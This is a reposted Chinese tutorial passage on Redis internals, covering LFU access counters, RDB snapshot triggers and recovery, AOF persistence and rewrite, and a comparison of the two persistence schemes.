A 要晚,在同等的情况下,A 反而先被回收。 问题:要实现基于访问频率的淘汰机制,怎么做? 5.2.4 LFU server.h typedef struct redisObject {unsigned type:4;unsigned encoding:4;unsigned lru:LRU_BITS;int refcount;void ptr; } robj; 当这 24 bits 用作 LFU 时,其被分为两部分: 高 16 位用来记录访问时间(单位为分钟,ldt,last decrement time) 低 8 位用来记录访问频率,简称 counter(logc,logistic counter) counter 是用基于概率的对数计数器实现的,8 位可以表示百万次的访问频率。 对象被读写的时候,lfu 的值会被更新。 db.c——lookupKey void updateLFU(robj val) {unsigned long counter = LFUDecrAndReturn(val); counter = LFULogIncr(counter);val->lru = (LFUGetTimeInMinutes()<<8) | counter;} 增长的速率由,lfu-log-factor 越大,counter 增长的越慢 redis.conf 配置文件。 lfu-log-factor 10 如果计数器只会递增不会递减,也不能体现对象的热度。没有被访问的时候,计数器怎么递减呢? 减少的值由衰减因子 lfu-decay-time(分钟)来控制,如果值是 1 的话,N 分钟没有访问就要减少 N。 redis.conf 配置文件 lfu-decay-time 1 6、持久化机制 https://redis.io/topics/persistence Redis 速度快,很大一部分原因是因为它所有的数据都存储在内存中。如果断电或者宕机,都会导致内存中的数据丢失。为了实现重启后数据不丢失,Redis 提供了两种持久化的方案,一种是 RDB 快照(Redis DataBase),一种是 AOF(Append Only File)。 6.1 RDB RDB 是 Redis 默认的持久化方案。当满足一定条件的时候,会把当前内存中的数据写入磁盘,生成一个快照文件 dump.rdb。Redis 重启会通过加载 dump.rdb 文件恢复数据。 什么时候写入 rdb 文件? 6.1.1 RDB 触发 1、自动触发 a)配置规则触发。 redis.conf, SNAPSHOTTING,其中定义了触发把数据保存到磁盘的触发频率。 如果不需要 RDB 方案,注释 save 或者配置成空字符串""。 save 900 1 900 秒内至少有一个 key 被修改(包括添加) save 300 10 400 秒内至少有 10 个 key 被修改save 60 10000 60 秒内至少有 10000 个 key 被修改 注意上面的配置是不冲突的,只要满足任意一个都会触发。 RDB 文件位置和目录: 文件路径,dir ./ 文件名称dbfilename dump.rdb 是否是LZF压缩rdb文件 rdbcompression yes 开启数据校验 rdbchecksum yes 问题:为什么停止 Redis 服务的时候没有 save,重启数据还在? RDB 还有两种触发方式: b)shutdown 触发,保证服务器正常关闭。 c)flushall,RDB 文件是空的,没什么意义(删掉 dump.rdb 演示一下)。 2、手动触发 如果我们需要重启服务或者迁移数据,这个时候就需要手动触 RDB 快照保存。Redis 提供了两条命令: a)save save 在生成快照的时候会阻塞当前 Redis 服务器, Redis 不能处理其他命令。如果内存中的数据比较多,会造成 Redis 长时间的阻塞。生产环境不建议使用这个命令。 为了解决这个问题,Redis 提供了第二种方式。 执行 bgsave 时,Redis 会在后台异步进行快照操作,快照同时还可以响应客户端请求。 具体操作是 Redis 进程执行 fork 操作创建子进程(copy-on-write),RDB 持久化过程由子进程负责,完成后自动结束。它不会记录 fork 之后后续的命令。阻塞只发生在 fork 阶段,一般时间很短。 用 lastsave 命令可以查看最近一次成功生成快照的时间。 6.1.2 RDB 数据的恢复(演示) 1、shutdown 持久化添加键值 添加键值 redis> set k1 1 redis> set k2 2 redis> set k3 3 redis> set k4 4 redis> set k5 5 停服务器,触发 save redis> shutdown 备份 dump.rdb 文件 cp dump.rdb dump.rdb.bak 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 啥都没有: redis> keys 3、通过备份文件恢复数据停服务器 redis> shutdown 重命名备份文件 mv dump.rdb.bak dump.rdb 启动服务器 /usr/local/soft/redis-5.0.5/src/redis-server /usr/local/soft/redis-5.0.5/redis.conf 查看数据 redis> keys 6.1.3 RDB 文件的优势和劣势 一、优势 1.RDB 是一个非常紧凑(compact)的文件,它保存了 redis 在某个时间点上的数据集。这种文件非常适合用于进行备份和灾难恢复。 2.生成 RDB 文件的时候,redis 主进程会 fork()一个子进程来处理所有保存工作,主进程不需要进行任何磁盘 IO 操作。 3.RDB 在恢复大数据集时的速度比 AOF 的恢复速度要快。 二、劣势 1、RDB 方式数据没办法做到实时持久化/秒级持久化。因为 bgsave 每次运行都要执行 fork 操作创建子进程,频繁执行成本过高。 2、在一定间隔时间做一次备份,所以如果 redis 意外 down 掉的话,就会丢失最后一次快照之后的所有修改(数据有丢失)。 如果数据相对来说比较重要,希望将损失降到最小,则可以使用 AOF 方式进行持久化。 6.2 AOF Append Only File AOF:Redis 默认不开启。AOF 采用日志的形式来记录每个写操作,并追加到文件中。开启后,执行更改 Redis 数据的命令时,就会把命令写入到 AOF 文件中。 Redis 重启时会根据日志文件的内容把写指令从前到后执行一次以完成数据的恢复工作。 6.2.1 AOF 配置 配置文件 redis.conf 开关appendonly no 文件名appendfilename "appendonly.aof" AOF 文件的内容(vim 查看): 问题:数据都是实时持久化到磁盘吗? 由于操作系统的缓存机制,AOF 数据并没有真正地写入硬盘,而是进入了系统的硬盘缓存。什么时候把缓冲区的内容写入到 AOF 文件? 问题:文件越来越大,怎么办? 由于 AOF 持久化是 Redis 不断将写命令记录到 AOF 文件中,随着 Redis 不断的进行,AOF 的文件会越来越大,文件越大,占用服务器内存越大以及 AOF 恢复要求时间越长。 例如 set xxx 666,执行 1000 次,结果都是 xxx=666。 为了解决这个问题,Redis 新增了重写机制,当 AOF 文件的大小超过所设定的阈值时,Redis 就会启动 AOF 文件的内容压缩,只保留可以恢复数据的最小指令集。 可以使用命令 bgrewriteaof 来重写。 AOF 文件重写并不是对原文件进行重新整理,而是直接读取服务器现有的键值对,然后用一条命令去代替之前记录这个键值对的多条命令,生成一个新的文件后去替换原来的 AOF 文件。 重写触发机制 auto-aof-rewrite-percentage 100 auto-aof-rewrite-min-size 64mb 问题:重写过程中,AOF 文件被更改了怎么办? 另外有两个与 AOF 相关的参数: 6.2.2 AOF 数据恢复 重启 Redis 之后就会进行 AOF 文件的恢复。 6.2.3 AOF 优势与劣势 优点: 1、AOF 持久化的方法提供了多种的同步频率,即使使用默认的同步频率每秒同步一次,Redis 最多也就丢失 1 秒的数据而已。 缺点: 1、对于具有相同数据的的 Redis,AOF 文件通常会比 RDB 文件体积更大(RDB 存的是数据快照)。 2、虽然 AOF 提供了多种同步的频率,默认情况下,每秒同步一次的频率也具有较高的性能。在高并发的情况下,RDB 比 AOF 具好更好的性能保证。 6.3 两种方案比较 那么对于 AOF 和 RDB 两种持久化方式,我们应该如何选择呢? 如果可以忍受一小段时间内数据的丢失,毫无疑问使用 RDB 是最好的,定时生成 RDB 快照(snapshot)非常便于进行数据库备份, 并且 RDB 恢复数据集的速度也要比 AOF 恢复的速度要快。 否则就使用 AOF 重写。但是一般情况下建议不要单独使用某一种持久化机制,而是应该两种一起用,在这种情况下,当 redis 重启的时候会优先载入 AOF 文件来恢复原始的数据,因为在通常情况下 AOF 文件保存的数据集要比 RDB 文件保存的数据集要完整。 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhoutaochun/article/details/120075092。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-18 12:25:04
545
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
du -sh *
- 查看当前目录下所有文件及目录占用的空间大小(以人类可读格式)。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"